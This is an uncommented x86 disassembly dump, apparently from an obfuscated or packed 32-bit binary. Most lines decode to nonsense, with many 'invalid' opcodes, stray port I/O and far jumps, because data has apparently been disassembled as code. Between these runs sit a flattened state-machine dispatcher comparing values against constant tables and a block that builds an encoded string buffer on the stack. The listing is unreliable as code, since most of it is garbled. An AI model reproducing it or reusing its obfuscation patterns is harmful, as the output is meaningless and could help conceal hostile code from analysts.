imul esi, dword [ebp + 0x38], 0x6304f26e
jne 0x67e47048
outsb dx, byte [esi]
add al, 0x63
leave
insd dword es:[edi], dx
sub byte [edx + 0x4f], ch
jmp 0x513147f5
jnp 0x67e4700e
cwde
push eax
adc al, 0x47
jl 0x67e47038
loop 0x67e470ab
lds edi, [esi - 0x7435a42b]
sub byte [eax + edx*4], ah
int3
adc al, 0x1b
out dx, al
aad 0x56
daa
fisub word [edi - 0x5b86dd8]
cli
dec eax
or edx, edx
sub dword [ebp - 0x46323e1c], esi
mov ch, 0xe4
ror ebp, 0xb9
invalid
std
int1
pop esp
fsub st(2)
mov ch, byte [edi + 0x46]
sar dword [edi - 0x2f90ce55], cl
sbb bl, byte [esi]
in al, dx
cld
ljmp 0x8c14
jle 0x67e47610
or al, 0x7f
cmp dword [ebx - 0x21], 0x5d
outsb dx, byte [esi]
push ebp
scasd eax, dword es:[edi]
inc ebp
sub al, 0x7e
push eax
xor dword [ecx + 0x59], 0x10780681
invalid
outsd dx, dword es:[esi]
jle 0x67e47692
jle 0x67e4765a
sbb edx, dword [eax - 0x7e44a234]
pop esp
inc esi
movsb byte es:[edi], byte [esi]
pop ds
mov dl, 0xc3
pop edx
adc ebp, dword [eax]
retf
mov ss, word [0x6adb8aba]
aas
jmp 0x49612556
stosd dword es:[edi], eax
mov dword [eax + 0x10c1a67b], edi
int1
loop 0x67e47702
jmp 0x67e47701
cmp eax, 0x1adfbbb4
mov ah, 0xbb
fistp word [edx]
xor al, 0xef
inc ebx
mov ecx, 0xa746ba4a
int1
sub al, bh
invalid
sbb eax, 0xa6adb2bf
mov al, 0xa5
push edx
pop esi
invalid
sbb ax, 0
pop eax
cdq
push eax
jno 0x67e48173
inc eax
dec edi
inc eax
ret
and edi, dword [ecx]
sub eax, ebx
jbe 0x67e487cb
fdivr qword [esi]
adc eax, 0xe235a5b7
mov esi, 0xdfb967ef
inc edi
xchg esp, eax
cli
inc edx
or al, byte [edi + ecx*2 + 0x3e]
inc esp
test dword [ebp - 0x6e], edi
int1
leave
adc dword [edi + ebx*4], ebx
jnp 0x90b87386
push esi
in eax, 0xaf
hlt
mov byte [0x7ff4b85c], al
dec ebp
retf
iretd
adc eax, ebx
jns 0x67e48d0d
outsb dx, byte [esi]
dec ecx
cmp ebx, edx
fdivr qword [eax - 0x4e8bd40b]
jle 0x67e48d6d
out dx, al
sbb edx, dword [ebx + 7]
scasd eax, dword es:[edi]
pop esi
pop ecx
or al, ch
mov esi, 0xa4e9cc90
adc dword [eax], eax
add byte [edx + ebp*4], ch
sub al, 0xaa
jae 0x67e48da5
arpl word [ecx - 7], si
into
inc esp
call fcn.67e46315
add dword [eax - 0x79178cd5], eax
or bh, dh
mov bl, 0xac
adc al, dl
imul esp, dword [edx + 0x457fd5a4], 0x8bf5acba
inc edx
sbb ebx, dword [ebx]
int1
mov al, 0xc5
aad 0x17
and cl, bh
fimul word [ecx]
imul edx, dword [edx + edi*8], 0x51745a40
inc eax
pop edx
je 0x67e48dc2
mov al, byte [0x7ba4ee7c]
and byte [ebx - 0x62466eda], dl
inc edx
mov byte [eax], al
dec ebx
inc eax
jbe 0x67e48d88
insb byte es:[edi], dx
loop 0x67e48d17
invalid
mov ebp, 0xb89c11cf
push ebx
xchg esp, eax
inc esp
popal
nop
jle 0x67e48d3b
imul edx, dword [edi + 7], 0xe114d93c
nop
int3
sbb byte [edi], bh
aam 0xd1
sbb dword [edx + 0x4f], esi
sbb ebp, dword [edi]
xchg ebx, eax
or esp, eax
xchg word [ecx + edx - 0x57], sp
or byte [ebx + 0x7a], al
and al, 0x1d
wrmsr
inc edx
popfd
in al, 0xf0
bound ebx, qword [eax - 0x32]
pop eax
into
ficomp word [edx + ebx*4]
add byte [ecx + 0x7a7d237a], bh
in al, dx
xchg esp, eax
jae 0x67e48e34
lodsd eax, dword [esi]
inc ebx
les eax, [eax]
and dword [edx - 0x48], edx
ret 0x196
out dx, eax
fsubr qword [ebx - 0x333b5a27]
salc
ljmp 0x70fc
cmp al, 0xc2
retf 0xb085
rol dword [0x515de42c], 1
ljmp 0x5639
nop
jmp 0x67e49edd
nop
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.67de8a84
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xc0], 0xd2d8c
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc8], 0xea390
mov dword [ebp - 0xc4], 0
mov eax, dword [ebp - 0xc8]
mov edx, dword [ebp - 0xc4]
sub eax, dword [ebp - 0xc0]
sbb edx, dword [ebp - 0xbc]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], edx
mov eax, dword [ebp - 0xd0]
xor eax, 0xe31ea
or eax, dword [ebp - 0xcc]
je 0x67e4d7ec
mov edx, 0xe31ea
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0xe298b
or eax, dword [ebp - 0xcc]
je 0x67e50113
mov edx, 0xe298b
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0xdc587
or eax, dword [ebp - 0xcc]
je 0x67e4ef70
mov edx, 0xdc587
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0xd56b3
or eax, dword [ebp - 0xcc]
je 0x67e4e3ae
mov edx, 0xd56b3
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0xcb9fa
or eax, dword [ebp - 0xcc]
je 0x67e4c068
mov edx, 0xcb9fa
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0xc978c
or eax, dword [ebp - 0xcc]
je 0x67e4f551
mov edx, 0xc978c
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0xc6efc
or eax, dword [ebp - 0xcc]
je 0x67e4e98f
mov edx, 0xc6efc
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0xb31f2
or eax, dword [ebp - 0xcc]
je 0x67e4a303
mov edx, 0xb31f2
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0x9cc59
or eax, dword [ebp - 0xcc]
je 0x67e506f4
mov edx, 0x9cc59
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0x98932
or eax, dword [ebp - 0xcc]
je 0x67e4a8e4
mov edx, 0x98932
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0x95365
or eax, dword [ebp - 0xcc]
je 0x67e4cc2a
mov edx, 0x95365
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0x83f45
or eax, dword [ebp - 0xcc]
je 0x67e4aec5
mov edx, 0x83f45
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0x83608
or eax, dword [ebp - 0xcc]
je 0x67e4d20b
mov edx, 0x83608
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0x4a111
or eax, dword [ebp - 0xcc]
je 0x67e4ba87
mov edx, 0x4a111
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0x3a34a
or eax, dword [ebp - 0xcc]
je 0x67e4b4a6
mov edx, 0x3a34a
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0x34188
or eax, dword [ebp - 0xcc]
je 0x67e4fb32
mov edx, 0x34188
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0x288d1
or eax, dword [ebp - 0xcc]
je 0x67e4ddcd
mov edx, 0x288d1
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0x2589a
or eax, dword [ebp - 0xcc]
je 0x67e50cd5
mov edx, 0x2589a
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67e512b3
mov eax, dword [ebp - 0xd0]
xor eax, 0x262b
or eax, dword [ebp - 0xcc]
je 0x67e4c649
mov eax, dword [ebp - 0xd0]
xor eax, 0x17604
or eax, dword [ebp - 0xcc]
je 0x67e512b6
jmp 0x67e512b3
inc edi
mov cl, 0xa7
jo 0x67e4a2ae
push ebp
dec eax
and cl, byte [edx]
xchg edi, ecx
dec esp
out 9, eax
out dx, al
fidivr dword [ecx]
pop edi
out 5, eax
test eax, 0x75656282
fnstenv [ebx + 0x16]
cdq
mov al, 0x3c
or byte [eax - 7], bl
shr dword [ebx - 0x18a986ef], 1
push es
stosd dword es:[edi], eax
adc dword [ecx + 0x56], edi
out 6, eax
jo 0x67e4a326
xchg esi, eax
sbb ecx, edi
jle 0x67e4a366
aam 0x15
inc ecx
fsub dword [edi]
dec ebx
or byte [eax - 0x3ae054e9], 0x92
jp 0x67e4a389
out dx, eax
adc ah, byte [edi - 0x2e]
and ch, byte [ebx - 0x74]
cwde
ret
int3
add eax, ecx
and eax, 0xba860d94
push ds
push edx
cdq
enter 0x3c90, 0xffffffffffffffea
add eax, 0x8b4bec6d
invalid
jb 0x67e4a8e9
dec ecx
out 0xf9, al
adc dword [edi + 0x19a19ac8], edx
dec ecx
xchg edi, eax
salc
pop ds
sub eax, 0x2d041e8d
invalid
mov eax, dword [0x9de3354]
sub dword [ebx], esp
xchg ebp, eax
mov edi, 0x931a7569
xchg byte [esi], cl
mov ch, 0xc9
scasb al, byte es:[edi]
push 0x7e9e3730
jmp 0x457a40a1
lahf
push edi
or byte [ebx], dl
clc
mov al, 0x88
wait
aam 0xb
mov edi, 0x775b5106
xor dh, byte [eax]
inc ecx
movsd dword es:[edi], dword [esi]
sahf
xchg ebp, eax
mov ecx, dword [eax + 5]
jb 0x67e4a89a
scasb al, byte es:[edi]
jo 0x67e4a883
insb byte es:[edi], dx
or bh, byte [esi + 0x132bc868]
lodsd eax, dword [esi]
push ss
outsb dx, byte [esi]
xchg esp, eax
push esi
loope 0x67e4a963
fcomi st(3)
xchg ah, ah
jbe 0x67e4a926
and eax, 0xfd565f7
fist word [ebp + 0x5aea0b12]
sub byte [edx - 0x28], bl
cwde
pushfd
xor bh, byte [edi + 0x32]
mov bh, byte [esi + 0x3f964889]
psubb mm2, qword [ecx - 0x29]
mov ch, 0x71
insb byte es:[edi], dx
sub eax, 0xae4877f8
mov eax, dword [0xe8fd7542]
pop esp
int 0x90
int3
leave
mov bh, 0x4f
inc edx
mov dword [0x3b8cb83], ecx
adc byte [edi], dl
sub esi, esi
lds eax, [edi + 0x665d55f9]
cmp byte [esi + 1], 0x6c
dec edx
pop ss
pop ecx
sti
insb byte es:[edi], dx
mov es, word [edx - 0x72]
test eax, 0x660475fe
out dx, eax
sub byte [eax + 0xb], bl
sal dword [0xf7f0e6f2], cl
pop esp
xchg esi, eax
dec edx
pop es
out 0x9d, eax
aam 0xfb
jno 0x67e4a9b3
add dh, byte [eax - 0x2234c505]
dec edi
pop ebp
mov edx, esi
out 0x37, al
xor dh, al
nop
int3
and bh, bl
cmc
call 0x866e321
and dword [esi - 0x56853b6b], ebx
wait
pushal
sub ch, byte [ecx - 0x2ae4e2a4]
cmp eax, 0x89548ddc
mov ah, 0x64
mov ebp, 0x45e3e5e4
mov dh, 8
or byte [esi + 0x79ec7af7], ch
push ecx
fst dword [edi + 0x32]
in eax, dx
ljmp 0xceee
arpl word [eax], ax
add byte [ebp + edi + 0x4a], dl
mov ch, 0x83
int1
push esp
cmp eax, 0xf183b54a
loop 0x67e4af0b
xchg esi, eax
salc
shr esi, 0x6c
pop ebx
fisttp dword [esi + 0x5fb05a5c]
sbb edx, dword [eax + ebx*4 - 0x4b]
and al, 0xb5
sbb al, 0xf1
test dword [eax + edi*2], 0x21cca81a
fcmovu st(0), st(6)
mov edi, 0xd6a2d0e0
sub byte [0x62340f65], bh
mov dl, 0xf6
inc eax
movsd dword es:[edi], dword [esi]
out 0xa1, eax
mov dl, 0x9f
test al, 0x3c
mov dword [0xba271dc1], eax
into
test dword [esi + 0x33f3c70b], esp
pop edi
jecxz 0x67e4aec1
test al, dl
inc edx
dec esp
jns 0x67e4aeef
push esi
push 0x29c6e53d
cmp al, byte [0x2c74c85f]
mov esi, 0xbf7d989f
mov edx, 0xf7cc9029
int3
or eax, 0x4d00c8ec
in eax, dx
xor esi, dword [edx - 0x3b9af14d]
ja 0x67e4b4b2
xor al, 0x7b
xor eax, 0xedd1cc39
adc dword [edi + ebp*2], edi
ret
push esi
jnp 0x67e4b445
outsb dx, byte [esi]
add byte [ecx - 0x47], 0xe7
xor byte [edi + ebp*8 + 0x72], ch
invalid
push esi
in al, dx
pop ebx
test dword [esi], ebx
mov al, byte [0x905c0215]
mov edx, dword [eax - 0x3155ff34]
push eax
cwde
jns 0x67e4ba43
dec ebp
jle 0x67e4ba83
fstpnce st(3), st(0)
jmp 0x67e4ba61
mov eax, dword [0x2eb83bb9]
and al, 0x8d
psubusw mm0, mm3
xor al, 8
push 0xffffffffffffffa4
xchg byte [edi], dh
leave
test byte [eax - 0x7a0f7004], dh
cmc
push edi
sbb byte [eax + 0x16], 0xc1
invalid
push ebp
shr byte [eax - 8], 1
cld
jnp 0x67e4baf4
aas
or edi, 0x7a
or ecx, dword [esi + 0x79e4c444]
jns 0x67e4ba11
iretd
int3
xor byte [eax], bl
add byte [0xd1e77c22], bl
sbb eax, 0xd1e77c22
jge 0x67e4ba6e
pop esi
fdivp st(1)
jge 0x67e4bada
lahf
or esi, edi
cdq
sbb eax, 0x5437c874
mov cl, 0xc1
insb byte es:[edi], dx
int3
jns 0x67e4ba92
dec ebp
iretd
fcom dword [edi + 0x5a]
pop es
into
cdq
sub ebx, dword [ebp + 0x5f]
jle 0x67e4ba77
mov ecx, 0xcc9044b4
or edx, dword [esi - 0x35]
loope 0x67e4baea
int3
pushal
lahf
std
push esp
xchg esp, eax
and byte [esi], 0xf7
jg 0x67e4bacc
inc esp
cld
clc
nop
call 0x9211a375
stosb byte es:[edi], al
mov edi, dword [ecx - 0x61]
pop ebp
mov ebp, 0x288a7ea3
jecxz 0x67e4bb4b
scasb al, byte es:[edi]
cli
jecxz 0x67e4bb8c
lea ebx, [edx - 0x6c08f072]
imul edx, dword [ecx + eax*8], 0xfffffff8
popfd
mov ch, 0x51
and al, 0xdf
sub al, 0x2d
xor eax, 0xcd6bdf16
int1
loope 0x67e4bba1
fstp dword [edi + ebp*4 - 9]
xlatb
test eax, 0x6760e0d0
ret
jmp 0x67e4bb6a
push ds
out dx, ax
push cs
and byte [ecx], dh
or dword [eax - 0xe], esi
test dword [edi - 0x668a2642], esi
or byte [ecx + 0x7a], 0x74
cmpsd dword [esi], dword es:[edi]
je 0x67e4bb13
mov esi, 0xedc831ae
adc al, 0x20
cmc
and ch, dh
dec ebx
sti
jle 0x67e4bbe0
mov dword [0x4269be17], eax
xor dh, bh
mov bh, 0xf3
push eax
clc
mov eax, 0x9dd4aeee
stc
pop edx
push ds
invalid
mov eax, dword [0x68d4d5fc]
jle 0x67e4bb72
aad 0xd4
push 0x1e79df7e
jns 0x67e4bbb3
loopne 0x67e4bbbf
shl byte [0xa35c8548], cl
loop 0x67e4bb58
lea ebp, [esi - 0x36dee3d3]
lea ecx, [esp + edx - 0x51eb41b7]
arpl word [edx - 0x336fed71], bx
scasb al, byte es:[edi]
sub eax, 0x8dc9211c
mov word [ecx + ecx*2], ss
mov esi, 0x9a63ae14
invalid
ror dword [esi - 0x137083b5], 0x91
retf 0xc923
jmp 0x86b0069e
jg 0x67e4bb8e
mov esp, 0xcc792c88
jl 0x67e4bbde
stosd dword es:[edi], eax
int 0xb9
out 0xad, al
rcr ecx, cl
ret
pop ss
sbb ch, dh
pop ebx
mov dl, 0x99
pushfd
xor byte [edx], 0x85
test dword [0xe41dce03], esp
fimul dword [ebx - 0x65]
cwde
pop ss
or al, 0x14
push 9
pop ebx
push ds
sub edx, dword [edx + edx]
imul byte [edi - 0x26]
cmp al, 0x3a
xchg esi, eax
mov dword [edx], esp
dec eax
std
mov dword [0x8fc913ae], eax
dec ecx
or ah, al
and eax, edx
and al, 0xa7
push 0x84ad6bb5
fnstsw word [edx - 0x69]
aad 0x1d
add byte [edx + 0x1b], dh
lodsd eax, dword [esi]
mov ecx, 0xa2784fe0
cmpsb byte [esi], byte es:[edi]
push eax
jge 0x67e4c124
test dword [ecx], eax
inc esp
invalid
inc edi
cmp al, 0xa1
sal dword [esi + ebp + 0x5da44599], cl
nop
int3
pop ss
jmp 0xc2258d3b
iretd
cdq
inc ebp
jbe 0x67e4d220
pop ecx
xlatb
mov edx, ebp
rcl byte [ebx], cl
pop ecx
or edx, dword [edi - 0x2bd50d11]
pop ebp
xor byte [ebx], ah
or byte [esi], bl
aas
xor dl, byte [eax + 0x40ace9cc]
add byte [eax], al
push es
push 0x1a907570
rcr ecx, 0xa8
std
inc ecx
mov edi, 0xb76a4610
wait
inc ebx
in eax, 0x42
leave
stc
int 0x6a
inc edi
loopne 0x67e4d1e9
sets byte [ebp + esi - 0x41b340c6]
mov al, 0x6b
cmp byte [eax], bl
pop esp
insd dword es:[edi], dx
jp 0x67e4d28d
pop edi
cdq
ljmp 0xe9ca
xchg edi, eax
enter 0xffffffffffff9135, 0x6d
enter 0xffffffffffffb6ce, 0xffffffffffffffcd
mov word [ecx + 0x74], fs
pop ecx
cmp dl, bl
not dword [eax + edi*8 + 0x75]
pop esi
or byte [eax], 0xd1
add esi, ebp
shr byte [ecx + 0x6a], 0xe7
invalid
test bh, ah
add eax, 0xcadfe65
invalid
or dword [edx + 7], esi
cwde
mov byte [0x84d91ac], al
mov bh, 0x58
add dword [edx], esi
lodsd eax, dword [esi]
or ch, bh
arpl word [esi - 0x54], bx
adc eax, 0xb781cbc
push edi
cmp bh, byte [edi]
jb 0x67e4d787
rol byte [0x22dadf1c], 1
insb byte es:[edi], dx
insb byte es:[edi], dx
rcl byte [edi - 0x1db0aab1]
sub dword [ebx + 0x48], ecx
cmc
or ebx, dword [edi]
enter 0x5b63, 0xffffffffffffffbf
test byte [eax], 0x40
salc
xchg dword [eax - 0x12], esi
or al, 0xd8
fisttp word ss:[ebx + 0xd2f193d]
mov edi, 0x6748687f
mov ebx, 0xcbe9cc90
cmp al, byte [eax]
add byte [edi + edi*2 - 0x3b59a58], ch
lodsb al, byte [esi]
jg 0x67e4d797
dec edx
cld
cmp al, 0x2b
test al, 0xc3
rcl dword [edi + 0x21]
cwde
invalid
mov dh, 0x81
imul ebp, esi, 0x16f8c634
insb byte es:[edi], dx
push esi
hlt
rcl dword [ebx - 0x7d], 0x88
in al, 0x65
je 0x67e4ddf9
sal dword [eax - 4], 0x38
push 0xdd389432
push 0xb55163fc
das
std
xor ebp, dword [bx + si + 0x47]
mov byte [edx + ebx*2 + 0x1c8b5ddd], 0x85
mov edx, 0x82019220
pushfd
ljmp 0xe27e
test dword [ebx + 0x4ce27e9c], esi
enter 0x1237, 0xffffffffffffffc1
outsd dx, dword [esi]
cmp al, 0x5f
mov bh, 0xf9
cli
rcr dword [ecx], 1
dec eax
ror dword [eax - 0x22], cl
imul ebp, dword [edi], 0xffffff99
inc edx
aad 6
loop 0x67e4dda0
xor dword [esi + 0x70], ebx
dec edx
mov eax, 0x2ed88afb
and ebp, ebx
dec esi
fsub st(6)
fadd dword [edx]
xor al, 0xf7
lodsb al, byte [esi]
shr byte [edx + 0x25], 0x5d
cmc
nop
int3
in al, dx
int1
loop 0x67e4e3f7
sbb byte [ebx + 0x414649c0], dl
cli
wait
scasd eax, dword es:[edi]
test dword ds:[ecx + 0x7e], ebx
xchg ecx, eax
sahf
sahf
ror dword [eax - 0x5a], cl
xchg byte [ecx], dl
and al, 0xf0
mov edi, ebp
imul ebx, ebp, 0xffffff91
cwde
fdiv dword [eax + ebp*2]
mov ss, esi
or dh, byte [eax + edx*2 - 0x6d]
invalid
pop ecx
xor ebp, esi
add edx, eax
popfd
hlt
lahf
into
retf
rcl byte [ebx]
or dword [ebx - 0xd39a0ef], edx
xchg esi, eax
or al, 0xda
sal dword [esi - 0x398bddcb], 5
xor eax, 0x5c67422
sbb dword [eax - 0x6ffb6a00], 0x2928e9cc
add byte [eax], al
test eax, 0xea28c584
lodsb al, byte [esi]
mov byte [0xec2371f0], al
cwde
lcall 0x29e0, 0xecf93414
rol dword [eax - 0x30], 0x3c
rcl dword [edi + 0xe7bd00d], 0x14
and dword [eax + 0x5c0dc9b8], 0xaa93d454
jns 0x67e4e949
mov dl, byte [eax + 0x6d6d56be]
dec edi
push ebp
jae 0x67e4e97e
sbb al, byte [0xcf82600c]
js 0x67e4e971
inc edi
xchg edx, eax
das
popal
invalid
int3
jae 0x67e4ef70
mov ch, 0xd2
and al, 0x76
add dword [ebx - 0x20f17096], edx
jbe 0x67e4ef6a
insb byte es:[edi], dx
lahf
cmp eax, 0x79556e44
cmp eax, 0xaebe3310
cmp eax, 0x8aa417ac
cmp bl, byte [ecx + 8]
aaa
xor ebx, dword [ebx - 0x7f]
hlt
and si, 0x16
fnstenv [0x73c07801]
loop 0x67e4f5cb
sbb al, 0xf1
mov esi, dword [edi + 0x10fca842]
in al, 0x86
invalid
mov edi, 0x9ac0599d
xchg dword [ecx - 0x39], ebp
test al, 0x28
mov dl, byte [ecx + 0x817458f]
pop edx
daa
mov edx, 0x1ee56e8
push ds
invalid
push 0xbc6ae8bf
scasd eax, dword es:[edi]
stc
push 0xffffffffffffff8b
wait
cmp dword [edx + 0x17], 0xffffff9b
jp 0x67e4f5e4
wait
fisttp qword [ebx]
jb 0x67e4f5be
mov byte [0x8e300a3], al
adc esi, esp
je 0x67e4f604
and al, 0x27
invalid
adc edx, ebx
inc edi
out 0x7e, eax
mov ecx, 0x37122228
dec ebp
js 0x67e4f56f
stosb byte es:[edi], al
mov dl, 0x30
jle 0x67e4f5e1
push ebx
retf 0x8fb
outsb dx, byte [esi]
push ds
mov dh, 0x93
rol cl, 1
xchg edx, eax
mov esi, 0x77e16bf5
jbe 0x67e4f5f4
mov byte [0xd6ae9787], al
nop
int3
jmp 0x7f116a31
or dl, byte [ecx]
cdq
fisubr word [esi + 0x1fc177a5]
sub al, 0x1a
mov word [ecx], cs
enter 0x6edf, 0xffffffffffffff80
and al, 0xe5
lahf
aaa
dec byte [edi + 0x370de7d0]
jb 0x67e50176
inc esp
xchg ecx, eax
vpsrad ymm4, ymm4, xmmword [edi + 0x1ff3fdd0]
invalid
int3
jg 0x67e50725
in eax, 0xaf
sar byte [eax - 0x13b92a9b], cl
js 0x67e50741
invalid
xchg esi, eax
loop 0x67e5073b
int3
das
mov esp, 0x7092430
jg 0x67e5079e
test dword [edx], edx
sbb al, 0x31
ja 0x67e50712
or ebp, esi
int3
pushal
inc esi
das
sbb al, 0xf8
test eax, 0xc3fe4b2f
das
dec ebx
inc bl
pop ds
cmpsd dword [esi], dword es:[edi]
or dword [edi + 0x6e34167d], 0xb7a9da9f
dec ebx
jge 0x67e507c8
in al, 0xb2
nop
int3
movsb byte es:[edi], byte [esi]
cmp al, 0x2f
or al, 0x5b
wait
cmp ch, byte [ecx + 0x20]
dec ebx
int3
fisub word [esi]
lodsb al, byte [esi]
pop ecx
stosd dword es:[edi], eax
cmp byte [edx + eax*2], bl
jge 0x67e50791
and esp, dword [eax + 0x5d]
jecxz 0x67e507ea
xchg dword [edx], esp
xlatb
fadd qword [esi + ebx*8 - 0x138bc146]
in eax, 0xc4
mov ecx, 0xb973cc90
or eax, dword [esi]
cmp eax, 0xdcc0a248
add al, 0x6c
loopne 0x67e507e8
pop ds
sti
sbb bh, byte [edx + 0x4ab8f25a]
inc ebp
or eax, 0xaeb10613
pop edx
mov eax, 0x130d454a
push es
mov cl, 0xae
mov byte [0x8bfc9627], al
add eax, 0x1d9ae2bc
sti
popfd
je 0x67e507cc
outsd dx, dword [esi]
invalid
and edx, esp
xor byte [esi - 0x7d5d4369], dl
xchg ecx, eax
cmp edx, ebp
push ebp
mov esp, 0x9c1d7d2f
add al, 0x90
cmc
inc ebp
jge 0x67e5087c
cmp eax, 0xed2c9f88
pop edi
ljmp 0xed7a
sub ah, ah
push cs
add dword [edx + 0x69], ecx
nop
int3
and eax, 0x1299a4d7
push ebx
invalid
nop
jmp 0x67e512b7
nop
mov dword [ebp - 0x1a0], 0x78195324
mov dword [ebp - 0x19c], 0x553b6920
mov dword [ebp - 0x198], 0x531f7625
mov dword [ebp - 0x194], 0x69137838
mov dword [ebp - 0x190], 0x76015534
mov dword [ebp - 0x18c], 0x7835530d
mov dword [ebp - 0x188], 0x551f6938
mov dword [ebp - 0x184], 0x533c7624
mov dword [ebp - 0x180], 0x69177808
mov dword [ebp - 0x17c], 0x763e5513
mov dword [ebp - 0x178], 0x781e5331
mov dword [ebp - 0x174], 0x5521691c
mov dword [ebp - 0x170], 0x53227602
mov dword [ebp - 0x16c], 0x693e7813
mov dword [ebp - 0x168], 0x7620552a
mov word [ebp - 0x164], 0
mov dword [ebp - 0xd8], 0xd3d89
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xe0], 0x3bd82
mov dword [ebp - 0xdc], 0
mov ecx, dword [ebp - 0xd8]
mov ebx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xe0]
mov edx, dword [ebp - 0xdc]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
mov eax, dword [ebp - 0xe8]
xor eax, 0x10fb0b
or eax, dword [ebp - 0xe4]
je 0x67e57af3
mov edx, 0x10fb0b
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0xe75c4
or eax, dword [ebp - 0xe4]
je 0x67e53a4b
mov edx, 0xe75c4
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0xe1bba
or eax, dword [ebp - 0xe4]
je 0x67e56953
mov edx, 0xe1bba
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0xd470d
or eax, dword [ebp - 0xe4]
je 0x67e5402c
mov edx, 0xd470d
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0xce9fd
or eax, dword [ebp - 0xe4]
je 0x67e55d91
mov edx, 0xce9fd
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x9769e
or eax, dword [ebp - 0xe4]
je 0x67e57515
mov edx, 0x9769e
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x6a9e9
or eax, dword [ebp - 0xe4]
je 0x67e528a8
mov edx, 0x6a9e9
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x630fe
or eax, dword [ebp - 0xe4]
je 0x67e551cf
mov edx, 0x630fe
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x5ae90
or eax, dword [ebp - 0xe4]
je 0x67e522c7
mov edx, 0x5ae90
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x58e1c
or eax, dword [ebp - 0xe4]
je 0x67e5460d
mov edx, 0x58e1c
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x5863b
or eax, dword [ebp - 0xe4]
je 0x67e52e89
mov edx, 0x5863b
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67e57af6
mov eax, dword [ebp - 0xe8]
xor eax, 0x40c15
or eax, dword [ebp - 0xe4]
je 0x67e51ce6
mov edx, 0x40c15
mov eax, 0
